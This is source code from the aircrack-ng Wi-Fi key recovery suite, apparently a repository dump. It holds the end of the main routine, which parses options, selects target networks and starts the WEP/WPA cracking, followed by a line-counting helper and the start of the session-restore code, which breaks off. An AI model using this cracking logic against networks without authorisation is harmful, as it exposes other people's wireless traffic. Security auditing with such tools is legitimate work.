"r:a:e:b:p:qcthd:l:E:J:m:n:i:f:k:x::XysZ:w:0HKC:M:DP:zV1Suj:N:R:I:",
long_options,
&option_index);
if (option < 0) break;
if (option_index >= 0)
{
if (strncmp(long_options[option_index].name, "simd-list", 9) == 0)
{
int simd_found = ac_crypto_engine_loader_get_available();
char * simd_list
= ac_crypto_engine_loader_flags_to_string(simd_found);
printf("%s\n", simd_list);
free(simd_list);
exit(EXIT_SUCCESS);
}
}
switch (option)
{
case 'N':
// New session
if (cracking_session == NULL)
{
// Ignore if there is a cracking session (which means it was
// loaded from it)
cracking_session
= ac_session_from_argv(nbarg, argv, optarg);
if (cracking_session == NULL)
{
return (EXIT_FAILURE);
}
}
break;
case 'R':
// Restore and continue session
fprintf(stderr, "This option must be used alone!\n");
return (EXIT_FAILURE);
case 'W':
break;
case 'S':
_speed_test = 1;
break;
case 'I':
_pmkid_16800 = 1;
memset((char *) _pmkid_16800_str, 0, sizeof(_pmkid_16800_str));
strlcpy((char *) _pmkid_16800_str,
optarg,
sizeof(_pmkid_16800_str));
break;
case 'Z':
_speed_test_length = strtol(optarg, NULL, 10);
if (errno == ERANGE)
{
fprintf(stderr, "Invalid speed test length given.\n");
return (EXIT_FAILURE);
}
break;
case ':':
case '?':
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
case 'u':
#if defined(__i386__) || defined(__x86_64__) || defined(__arm__) \
|| defined(__aarch64__)
cpuid_getinfo();
in_use_simdsize = dso_ac_crypto_engine_simd_width();
printf("SIMD size in use= %d ", in_use_simdsize);
if (in_use_simdsize == 1)
printf("(64 bit)\n");
else if (in_use_simdsize == 4)
printf("(128 bit)\n");
else if (in_use_simdsize == 8)
printf("(256 bit)\n");
else if (in_use_simdsize == 16)
printf("(512 bit)\n");
else
printf("(unknown)\n");
#else
printf("Nb CPU detected: %d\n", cpu_count);
#endif
return (EXIT_SUCCESS);
case 'V':
if (forceptw)
{
printf("Visual inspection can only be used with KoreK\n");
printf("Use \"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.visual_inspection = 1;
opt.do_ptw = 0;
break;
case 'a':
opt.amode = (int) strtol(optarg, NULL, 10);
if (strcasecmp(optarg, "wep") == 0)
opt.amode = 1;
else if (strcasecmp(optarg, "wpa") == 0)
opt.amode = 2;
else if (strcasecmp(optarg, "80211w") == 0)
opt.amode = 3;
if (opt.amode != 1 && opt.amode != 2 && opt.amode != 3)
{
printf(
"Invalid attack mode. [1,2,3] or [wep,wpa,80211w]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
#if !defined(HAVE_OPENSSL_CMAC_H) && !defined(GCRYPT_WITH_CMAC_AES)
if (opt.amode == 3)
{
fprintf(stderr,
"Key version 3 is only supported when OpenSSL (or "
"similar) supports CMAC.\n");
return (EXIT_FAILURE);
}
#endif /* !HAVE_OPENSSL_CMAC_H && !GCRYPT_WITH_CMAC_AES */
opt.forced_amode = 1;
break;
case 'e':
memset(opt.essid, 0, sizeof(opt.essid));
memcpy(
opt.essid, optarg, MIN(strlen(optarg), sizeof(opt.essid)));
opt.essid_set = 1;
break;
case 'b':
if (getmac(optarg, 1, opt.bssid) != 0)
{
printf("Invalid BSSID (not a MAC).\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.bssid_set = 1;
break;
case 'p':
{
int const nbcpu = (int) strtol(optarg, NULL, 10);
if (nbcpu < 1 || nbcpu > MAX_THREADS)
{
printf("Invalid number of processes (recommended: %d)\n",
cpu_count);
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (nbcpu > cpu_count)
{
fprintf(stderr,
"Specifying more processes (%d) than available "
"CPUs (%d) would cause performance degradation.\n",
nbcpu,
cpu_count);
opt.nbcpu = cpu_count;
}
else
opt.nbcpu = nbcpu;
break;
}
case 'q':
opt.is_quiet = 1;
break;
case 'c':
opt.is_alnum = 1;
break;
case 'D':
opt.wep_decloak = 1;
break;
case 'h':
opt.is_fritz = 1;
break;
case 't':
opt.is_bcdonly = 1;
break;
case '1':
opt.oneshot = 1;
break;
case 'd':
i = 0;
n = 0;
s = optarg;
while (s[i] != '\0')
{
if (s[i] == 'x') s[i] = 'X';
if (s[i] == 'y') s[i] = 'Y';
if (s[i] == '-' || s[i] == ':' || s[i] == ' ')
i++;
else
s[n++] = s[i++];
}
s[n] = '\0';
buf[0] = s[0];
buf[1] = s[1];
buf[2] = '\0';
i = 0;
j = 0;
while ((sscanf(buf, "%d", &n) == 1)
|| (buf[0] == 'X' && buf[1] == 'X')
|| (buf[0] == 'Y' && buf[1] == 'Y'))
{
if (buf[0] == 'X' && buf[1] == 'X')
{
opt.debug_row[i++] = 0;
}
else if (buf[0] == 'Y' && buf[1] == 'Y')
{
opt.brutebytes[j++] = i++;
}
else
{
if (n < 0 || n > 255)
{
printf("Invalid debug key.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.debug[i] = (uint8_t) n;
opt.debug_row[i++] = 1;
}
if (i >= 64) break;
s += 2;
buf[0] = s[0];
buf[1] = s[1];
}
opt.do_ptw = 0;
break;
case 'm':
if (getmac(optarg, 1, opt.maddr) != 0)
{
printf("Invalid MAC address filter.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'n':
opt.keylen = (int) strtol(optarg, NULL, 10);
if (opt.keylen != 64 && opt.keylen != 128 && opt.keylen != 152
&& opt.keylen != 256 && opt.keylen != 512)
{
printf("Invalid WEP key length. [64,128,152,256,512]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.keylen = (opt.keylen / 8) - 3;
break;
case 'i':
opt.index = (int) strtol(optarg, NULL, 10);
if (opt.index < 1 || opt.index > 4)
{
printf("Invalid WEP key index. [1-4]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'f':
opt.ffact = (int) strtol(optarg, NULL, 10);
if (opt.ffact < 1)
{
printf("Invalid fudge factor. [>=1]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'k':
opt.korek = (int) strtol(optarg, NULL, 10);
if (opt.korek < 1 || opt.korek > N_ATTACKS)
{
printf("Invalid KoreK attack strategy. [1-%d]\n",
N_ATTACKS);
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
K_COEFF[(opt.korek) - 1] = 0;
break;
case 'l':
{
const size_t optarg_len = strlen(optarg) + 1;
opt.logKeyToFile = (char *) calloc(1, optarg_len);
if (opt.logKeyToFile == NULL)
{
printf("Error allocating memory\n");
return (EXIT_FAILURE);
}
strlcpy(opt.logKeyToFile, optarg, optarg_len);
}
break;
case 'E':
{
// Make sure there's enough space for file
// extension just in case it was forgotten
const size_t wkp_len = strlen(optarg) + 6;
opt.wkp = (char *) calloc(1, wkp_len);
if (opt.wkp == NULL)
{
printf("Error allocating memory\n");
return (EXIT_FAILURE);
}
strlcpy(opt.wkp, optarg, wkp_len);
}
break;
case 'J':
{
// Make sure there's enough space for file
// extension just in case it was forgotten
const size_t hccap_len = strlen(optarg) + 8;
opt.hccap = (char *) calloc(1, hccap_len);
if (opt.hccap == NULL)
{
printf("Error allocating memory\n");
return (EXIT_FAILURE);
}
strlcpy(opt.hccap, optarg, hccap_len);
}
break;
case 'j':
{
// Make sure there's enough space for file
// extension just in case it was forgotten
const size_t hccapx_len = strlen(optarg) + 8;
opt.hccapx = (char *) calloc(1, hccapx_len);
if (opt.hccapx == NULL)
{
printf("Error allocating memory\n");
return (EXIT_FAILURE);
}
strlcpy(opt.hccapx, optarg, hccapx_len);
}
break;
case 'M':
opt.max_ivs = (int) strtol(optarg, NULL, 10);
if (opt.max_ivs < 1)
{
printf("Invalid number of max. ivs [>=1]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
K_COEFF[(opt.korek) - 1] = 0;
break;
case 'P':
opt.ptw_attack = (int) strtol(optarg, NULL, 10);
if (errno == EINVAL || opt.ptw_attack < 0 || opt.ptw_attack > 2)
{
printf("Invalid number for ptw debug [0-2]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'x':
opt.do_brute = 0;
if (optarg)
{
opt.do_brute = (int) strtol(optarg, NULL, 10);
if (errno == EINVAL || opt.do_brute < 0 || opt.do_brute > 4)
{
printf("Invalid option -x%s. [0-4]\n", optarg);
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
}
break;
case 'X':
opt.do_mt_brute = 0;
break;
case 'y':
opt.do_testy = 1;
break;
case 'K':
opt.do_ptw = 0;
break;
case 's':
opt.showASCII = 1;
break;
case 'w':
if (set_dicts(optarg) != 0)
{
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.do_ptw = 0;
break;
case 'r':
#ifdef HAVE_SQLITE
if (sqlite3_open(optarg, &db))
{
fprintf(stderr, "Database error: %s\n", sqlite3_errmsg(db));
sqlite3_close(db);
return (EXIT_FAILURE);
}
#else
fprintf(
stderr,
"Error: Aircrack-ng wasn't compiled with sqlite support\n");
return (EXIT_FAILURE);
#endif
break;
case '0':
opt.l33t = 1;
break;
case 'H':
showhelp = 1;
goto usage;
break;
case 'C':
nbMergeBSSID = checkbssids(optarg);
if (nbMergeBSSID < 1 || nbMergeBSSID >= INT_MAX)
{
printf("Invalid bssids (-C).\n\"%s --help\" for help.\n",
argv[0]);
return (EXIT_FAILURE);
}
// Useless to merge BSSID if only one element
if (nbMergeBSSID == 1)
printf(
"Merging BSSID disabled, only one BSSID specified\n");
else
opt.bssidmerge = optarg;
break;
case 'z':
/* only for backwards compatibility - PTW used by default */
if (opt.visual_inspection)
{
printf("Visual inspection can only be used with KoreK\n");
printf("Use \"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
forceptw = 1;
break;
default:
goto usage;
}
}
if (_speed_test)
{
if (opt.forced_amode != 1)
{
// default to WPA-PSK (2)
opt.amode = 2;
}
opt.dict = stdin;
opt.bssid_set = 1;
ap_cur = malloc(sizeof(*ap_cur));
if (!ap_cur) err(1, "malloc()");
memset(ap_cur, 0, sizeof(*ap_cur));
ap_cur->target = 1;
ap_cur->wpa.state = 7;
ap_cur->wpa.keyver = (uint8_t) (opt.amode & 0xFF);
strcpy((char *) ap_cur->essid, "sorbo");
strcpy((char *) ap_cur->bssid, "deadb");
c_avl_insert(targets, ap_cur->bssid, ap_cur);
goto __start;
}
// Cracking session is only for when one or more wordlists are used.
// Airolib-ng not supported and stdin not allowed.
if ((opt.dict == NULL || opt.no_stdin || db) && cracking_session)
{
fprintf(
stderr,
"Cannot save/restore cracking session when there is no wordlist,"
" when using stdin or when using airolib-ng database.");
goto exit_main;
}
progname = getVersion(
"Aircrack-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
if ((cracking_session && cracking_session->is_loaded
&& cracking_session->argc - optind < 1)
|| (!cracking_session && !_pmkid_16800 && argc - optind < 1))
{
if (nbarg == 1)
{
usage:
if (progname == NULL)
progname = getVersion(
"Aircrack-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
printf(usage,
progname,
(cpu_count > 1 || cpu_count == -1) ? "\n -X : "
"disable bruteforce "
"multithreading\n"
: "\n");
// If the user requested help, exit directly.
if (showhelp == 1) clean_exit(EXIT_SUCCESS);
}
// Missing parameters
if (nbarg - optind == 0)
{
printf("No file to crack specified.\n");
}
if (nbarg > 1)
{
printf("\"%s --help\" for help.\n", argv[0]);
}
clean_exit(ret);
return ret;
}
if (opt.amode >= 2 && opt.dict == NULL)
{
ret = missing_wordlist_dictionary(ap_cur);
goto exit_main;
}
if ((!opt.essid_set && !opt.bssid_set) && (opt.is_quiet || opt.no_stdin))
{
printf("Please specify an ESSID or BSSID.\n");
goto exit_main;
}
/* start one thread per input file */
old = optind;
n = nbarg - optind;
id = 0;
if (_pmkid_16800)
{
size_t remaining = strlen((char *) _pmkid_16800_str);
if (remaining
< H16800_PMKID_LEN + H16800_BSSID_LEN + H16800_STMAC_LEN + 4)
{
fprintf(stderr, "Input is too short!\n");
goto exit_main;
}
opt.amode = 3;
opt.bssid_set = 1;
ap_cur = malloc(sizeof(*ap_cur));
if (!ap_cur) err(1, "malloc()");
memset(ap_cur, 0, sizeof(*ap_cur));
// PMKID * BSSID * STMAC * ESSID
// c2ea9449c142e84a0479041702526532*0012bf77162d*0021e924a5e7*574c414e2d373731363938 // WLAN-771698
ap_cur->crypt = 4;
ap_cur->target = 1;
ap_cur->wpa.state = 5;
ap_cur->wpa.keyver = (uint8_t) (opt.amode & 0xFF);
hexStringToArray((char *) _pmkid_16800_str,
H16800_PMKID_LEN,
ap_cur->wpa.pmkid,
sizeof(ap_cur->wpa.pmkid));
hexStringToArray((char *) _pmkid_16800_str + H16800_PMKID_LEN + 1,
H16800_BSSID_LEN,
ap_cur->bssid,
sizeof(ap_cur->bssid));
hexStringToArray((char *) _pmkid_16800_str + H16800_PMKID_LEN + 1
+ H16800_BSSID_LEN + 1,
H16800_STMAC_LEN,
ap_cur->wpa.stmac,
sizeof(ap_cur->wpa.stmac));
hexStringToArray((char *) _pmkid_16800_str + H16800_PMKID_LEN + 1
+ H16800_BSSID_LEN + 1 + H16800_STMAC_LEN + 1,
(int) remaining - H16800_PMKID_LEN + 1
+ H16800_BSSID_LEN + 1 + H16800_STMAC_LEN + 1,
ap_cur->essid,
sizeof(ap_cur->essid));
c_avl_insert(targets, ap_cur->bssid, ap_cur);
goto __start;
}
if (!opt.bssid_set)
{
if (!opt.is_quiet)
{
printf("Reading packets, please wait...\n");
fflush(stdout);
}
do
{
char * optind_arg = (restore_session && cracking_session)
? cracking_session->argv[optind]
: argv[optind];
if (strcmp(optind_arg, "-") == 0) opt.no_stdin = 1;
packet_reader_t * request
= (packet_reader_t *) calloc(1, sizeof(packet_reader_t));
ALLEGE(request != NULL);
request->mode = PACKET_READER_CHECK_MODE;
request->filename = optind_arg;
if (pthread_create(&(tid[id]), NULL, &packet_reader_thread, request)
!= 0)
{
perror("pthread_create failed");
goto exit_main;
}
id++;
if (id >= MAX_THREADS)
{
if (!opt.is_quiet)
printf(
"Only using the first %d files, ignoring the rest.\n",
MAX_THREADS);
break;
}
} while (++optind < nbarg);
/* wait until each thread reaches EOF */
for (i = 0; i < id; i++)
{
ALLEGE(pthread_join(tid[i], NULL) == 0);
tid[i] = 0;
}
if (!opt.is_quiet && !opt.no_stdin)
{
erase_line(0);
printf("Read %ld packets.\n\n", nb_pkt);
}
if (c_avl_size(access_points) == 0)
{
printf("No networks found, exiting.\n");
goto exit_main;
}
if (cracking_session && restore_session)
{
// If cracking session present (and it is a restore), auto-load it
int not_found = c_avl_get(
access_points, cracking_session->bssid, (void **) &ap_cur);
if (not_found)
{
fprintf(stderr, "Failed to find BSSID from restore session.\n");
clean_exit(EXIT_FAILURE);
}
// Set BSSID
memcpy(opt.bssid, ap_cur->bssid, ETHER_ADDR_LEN);
opt.bssid_set = 1;
// Set wordlist
if (next_dict(cracking_session->wordlist_id))
{
fprintf(stderr,
"Failed setting wordlist ID from restore session.\n");
clean_exit(EXIT_FAILURE);
}
// Move into position in the wordlist
if (fseeko(opt.dict, cracking_session->pos, SEEK_SET) != 0
|| ftello(opt.dict) != cracking_session->pos)
{
fprintf(stderr,
"Failed setting position in wordlist from "
"restore session.\n");
clean_exit(EXIT_FAILURE);
}
// Set amount of keys tried -> Done later
}
else if (!opt.essid_set && !opt.bssid_set)
{
/* ask the user which network is to be cracked */
printf(" # BSSID%14sESSID%21sEncryption\n\n", "", "");
i = 1;
void * key;
c_avl_iterator_t * it = c_avl_get_iterator(access_points);
while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0)
{
memset(essid, 0, sizeof(essid));
memcpy(essid, ap_cur->essid, ESSID_LENGTH);
for (zz = 0; zz < ESSID_LENGTH; zz++)
{
if ((essid[zz] > 0 && essid[zz] < 32) || (essid[zz] > 126))
essid[zz] = '?';
}
printf("%4d %02X:%02X:%02X:%02X:%02X:%02X %-24s ",
i,
ap_cur->bssid[0],
ap_cur->bssid[1],
ap_cur->bssid[2],
ap_cur->bssid[3],
ap_cur->bssid[4],
ap_cur->bssid[5],
essid);
if (ap_cur->eapol) printf("EAPOL+");
switch (ap_cur->crypt)
{
case 0:
printf("None (%d.%d.%d.%d)\n",
ap_cur->lanip[0],
ap_cur->lanip[1],
ap_cur->lanip[2],
ap_cur->lanip[3]);
break;
case 1:
printf("No data - WEP or WPA\n");
break;
case 2:
printf("WEP (%ld IVs)\n", ap_cur->nb_ivs_vague);
break;
case 3:
printf("WPA (%d handshake%s)\n",
ap_cur->wpa.state == 7,
(ap_cur->wpa.pmkid[0] != 0x00 ? ", with PMKID"
: ""));
break;
default:
printf("Unknown\n");
break;
}
i++;
}
c_avl_iterator_destroy(it);
it = NULL;
printf("\n");
if (c_avl_size(access_points) > 1)
{
do
{
printf("Index number of target network ? ");
fflush(stdout);
ret1 = 0;
while (!ret1) ret1 = scanf("%127s", buf);
if ((z = (int) strtol(buf, NULL, 10)) < 1) continue;
i = 1;
it = c_avl_get_iterator(access_points);
while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0
&& i < z)
{
i++;
}
c_avl_iterator_destroy(it);
it = NULL;
if (i == z)
{
ap_cur->target = 1;
c_avl_insert(targets, ap_cur->bssid, ap_cur);
}
} while (z < 0 || ap_cur == NULL);
}
else if (c_avl_size(access_points) == 1)
{
printf("Choosing first network as target.\n");
it = c_avl_get_iterator(access_points);
c_avl_iterator_next(it, &key, (void **) &ap_cur);
c_avl_iterator_destroy(it);
it = NULL;
ALLEGE(ap_cur != NULL);
ap_cur->target = 1;
c_avl_insert(targets, ap_cur->bssid, ap_cur);
}
else
{
// no access points
}
printf("\n");
ALLEGE(ap_cur != NULL);
// Release memory of all APs we don't care about currently.
ap_avl_release_unused(ap_cur);
memcpy(opt.bssid, ap_cur->bssid, ETHER_ADDR_LEN);
// Copy BSSID to the cracking session
if (cracking_session && opt.dict != NULL)
{
memcpy(cracking_session->bssid, ap_cur->bssid, ETHER_ADDR_LEN);
}
/* Disable PTW if dictionary used in WEP */
if (ap_cur->crypt == 2 && opt.dict != NULL)
{
opt.do_ptw = 0;
}
}
optind = old;
id = 0;
}
nb_prev_pkt = nb_pkt;
nb_pkt = 0;
nb_eof = 0;
ALLEGE(signal(SIGINT, sighandler) != SIG_ERR);
if (!opt.is_quiet)
{
printf("Reading packets, please wait...\n");
fflush(stdout);
}
// NOTE: Reset internal logic used from CHECK, prior to full READ/PROCESS...
if (ap_cur != NULL)
{
if (ap_cur->uiv_root != NULL)
{
uniqueiv_wipe(ap_cur->uiv_root);
ap_cur->uiv_root = NULL;
}
ap_cur->nb_ivs = 0;
ap_cur->ivbuf_size = 0;
destroy(ap_cur->ivbuf, free);
// Destroy WPA struct in all stations of the selected AP
if (ap_cur->stations != NULL)
{
void * key = NULL;
struct ST_info * st_tmp = NULL;
while (c_avl_pick(ap_cur->stations, &key, (void **) &st_tmp) == 0)
{
INVARIANT(st_tmp != NULL);
memset(&st_tmp->wpa, 0, sizeof(struct WPA_hdsk));
}
}
}
do
{
char * optind_arg
= (restore_session) ? cracking_session->argv[optind] : argv[optind];
if (strcmp(optind_arg, "-") == 0) opt.no_stdin = 1;
packet_reader_t * request
= (packet_reader_t *) calloc(1, sizeof(packet_reader_t));
ALLEGE(request != NULL);
request->mode = PACKET_READER_READ_MODE;
request->filename = optind_arg;
if (pthread_create(&(tid[id]), NULL, &packet_reader_thread, request)
!= 0)
{
perror("pthread_create failed");
goto exit_main;
}
id++;
if (id >= MAX_THREADS) break;
} while (++optind < nbarg);
/* wait until threads re-read the original packets read in first pass */
ALLEGE(pthread_mutex_lock(&mx_eof) == 0);
if (!opt.bssid_set && !opt.essid_set)
{
while (nb_prev_pkt > nb_pkt && nb_eof != id)
pthread_cond_wait(&cv_eof, &mx_eof);
}
else
{
while (nb_prev_pkt >= nb_pkt && nb_eof != id)
pthread_cond_wait(&cv_eof, &mx_eof);
}
ALLEGE(pthread_mutex_unlock(&mx_eof) == 0);
if (!opt.is_quiet && !opt.no_stdin)
{
erase_line(0);
printf("Read %ld packets.\n\n", nb_pkt);
}
/* mark the targeted access point(s) */
void * key;
c_avl_iterator_t * it = c_avl_get_iterator(access_points);
while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0)
{
if (memcmp(opt.maddr, BROADCAST, ETHER_ADDR_LEN) == 0
|| (opt.bssid_set
&& !memcmp(opt.bssid, ap_cur->bssid, ETHER_ADDR_LEN))
|| (opt.essid_set
&& !memcmp(opt.essid, ap_cur->essid, ESSID_LENGTH)))
{
ap_cur->target = 1;
}
if (ap_cur->target)
{
c_avl_insert(targets, ap_cur->bssid, ap_cur);
}
}
c_avl_iterator_destroy(it);
it = NULL;
printf("%d potential targets\n\n", c_avl_size(targets));
ap_cur = get_first_target();
if (ap_cur == NULL)
{
printf("No matching network found - check your %s.\n",
(opt.essid_set) ? "essid" : "bssid");
goto exit_main;
}
if (ap_cur->crypt < 2)
{
switch (ap_cur->crypt)
{
case 0:
printf("Target '%s' network doesn't seem encrypted.\n",
(char *) ap_cur->essid);
break;
default:
printf("Got no data packets from target network!\n");
break;
}
goto exit_main;
}
/* create the cracker<->master communication pipes */
for (i = 0; i < opt.nbcpu; i++)
{
IGNORE_NZ(pipe(mc_pipe[i]));
IGNORE_NZ(pipe(cm_pipe[i]));
if (opt.amode <= 1 && opt.nbcpu > 1 && opt.do_brute && opt.do_mt_brute)
{
IGNORE_NZ(pipe(bf_pipe[i]));
bf_nkeys[i] = 0;
}
}
__start:
/* launch the attack */
// Start cracking session
if (cracking_session)
{
if (pthread_create(
&cracking_session_tid, NULL, &session_save_thread, NULL)
!= 0)
{
perror("pthread_create failed");
goto exit_main;
}
}
ALLEGE(pthread_mutex_lock(&mx_nb) == 0);
// Set the amount of keys tried
nb_tried = (cracking_session && restore_session)
? cracking_session->nb_keys_tried
: 0;
nb_kprev = 0;
ALLEGE(pthread_mutex_unlock(&mx_nb) == 0);
chrono(&t_begin, 1);
chrono(&t_stats, 1);
chrono(&t_kprev, 1);
ALLEGE(signal(SIGWINCH, sighandler) != SIG_ERR);
if (opt.amode == 1 || ap_cur->crypt == 2)
{
ret = perform_wep_crack(ap_cur);
}
if (opt.amode >= 2 || ap_cur->crypt >= 3)
{
ret = perform_wpa_crack(ap_cur);
}
exit_main:
#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
_PGOPTI_Prof_Dump();
#endif
if (!opt.is_quiet) printf("\n");
fflush(stdout);
clean_exit(ret);
/* not reached */
_exit(ret);
} |
C++ | aircrack-ng/src/aircrack-ng/linecount.cpp | /*
* High speed wordcounting functions for ETA calculations by Len White <lwhite
* at nrw.ca>
*
* Copyright (C) 2015 Len White <lwhite at nrw.ca>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*
* Why is this in C++?
*
* The first several versions of this function were written in C
* but when it came to optimizing the speed, I kept hitting brick walls.
* mmap() produced favorable results on Linux but when I tested it on
* Windows or BSD, it was beyond horrible. Memory Mapping seems to work
* drastically different there, and I even went so far as to write a version
* in native Win32 code which helped slightly but was still far slower than
* even normal read().
*
* With some people using massive dictionaries 20-25GB in size, it's important
* that this function be as efficient, and as portable as possible. I used
* the time command to compare runtime between all my tests; ifstream ifs()
* and ifs.read() were at least 30-50% faster than the next best solution
* except for mmap() on Linux which beat it out by 3-4% but usually only
* on a 2nd run.
*
* A possible alternative to this could be the SFIO library but further
* research and testing is required, other big projects like graphviz and perl
* make use of it. This was designed so it's easy to replace if we can
* find a better solution performance wise.
*/
#include <algorithm>
#include <iostream>
#include <fstream>
#include <vector>
#include "linecount.h"
using namespace std;
static size_t FileRead(istream & is, vector<char> & buff)
{
if (!is.good() || is.eof()) return 0;
is.read(&buff[0], buff.size());
return is.gcount();
}
size_t linecount(const char * file, off_t offset, size_t maxblocks)
{
const size_t SZ = READBUF_BLKSIZE;
std::vector<char> buff(SZ);
ifstream ifs(file);
size_t n = 0;
size_t cc = 0;
size_t blkcnt = 1;
if (maxblocks <= size_t(0)) return 0;
if (offset > 0) ifs.seekg(offset, ifs.beg);
while ((cc = FileRead(ifs, buff)) > 0)
{
const size_t nb_read
= std::count(buff.begin(), buff.begin() + cc, '\n');
n += nb_read;
if (blkcnt >= maxblocks) return n;
blkcnt++;
}
return n;
} |
C/C++ | aircrack-ng/src/aircrack-ng/linecount.h | /*
* High speed wordcounting header
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifndef LINECOUNT_H
#define LINECOUNT_H
#ifdef __cplusplus
#define EXTERNC extern "C"
#else
#define EXTERNC
#endif
EXTERNC size_t linecount(const char * file, off_t offset, size_t maxblocks);
#define READBUF_BLKSIZE (1024 * 1024 * 3)
#define READBUF_MAX_BLOCKS 32U
#endif /* LINECOUNT_H */ |
C | aircrack-ng/src/aircrack-ng/session.c | /*
* Aircrack-ng session (load/restore).
*
* Copyright (C) 2018-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#define _GNU_SOURCE
#include "session.h"
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <inttypes.h>
#include "aircrack-ng/defs.h"
#include "aircrack-ng/support/common.h"
int ac_session_destroy(struct session * s)
{
if (s == NULL || s->filename == NULL)
{
return (0);
}
ALLEGE(pthread_mutex_lock(&(s->mutex)) == 0);
FILE * f = fopen(s->filename, "r");
if (!f)
{
ALLEGE(pthread_mutex_unlock(&(s->mutex)) == 0);
return (0);
}
fclose(f);
int ret = remove(s->filename);
ALLEGE(pthread_mutex_unlock(&(s->mutex)) == 0);
return (ret == 0);
}
void ac_session_free(struct session ** s)
{
if (s == NULL || *s == NULL)
{
return;
}
if ((*s)->filename)
{
// Delete 0 byte file
struct stat scs;
memset(&scs, 0, sizeof(struct stat));
ALLEGE(pthread_mutex_lock(&((*s)->mutex)) == 0);
if (stat((*s)->filename, &scs) == 0 && scs.st_size == 0)
{
ALLEGE(pthread_mutex_unlock(&((*s)->mutex)) == 0);
ac_session_destroy(*s);
}
free((*s)->filename);
}
if ((*s)->argv)
{
for (int i = 0; i < (*s)->argc; ++i)
{
free((*s)->argv[i]);
}
free((*s)->argv);
}
if ((*s)->working_dir) free((*s)->working_dir);
free(*s);
*s = NULL;
}
struct session * ac_session_new(void)
{
return (struct session *) calloc(1, sizeof(struct session));
}
int ac_session_init(struct session * s)
{
if (s == NULL)
{
return (EXIT_FAILURE);
}
memset(s, 0, sizeof(struct session));
ALLEGE(pthread_mutex_init(&(s->mutex), NULL) == 0);
return (EXIT_SUCCESS);
}
int ac_session_set_working_directory(struct session * session, const char * str)
{
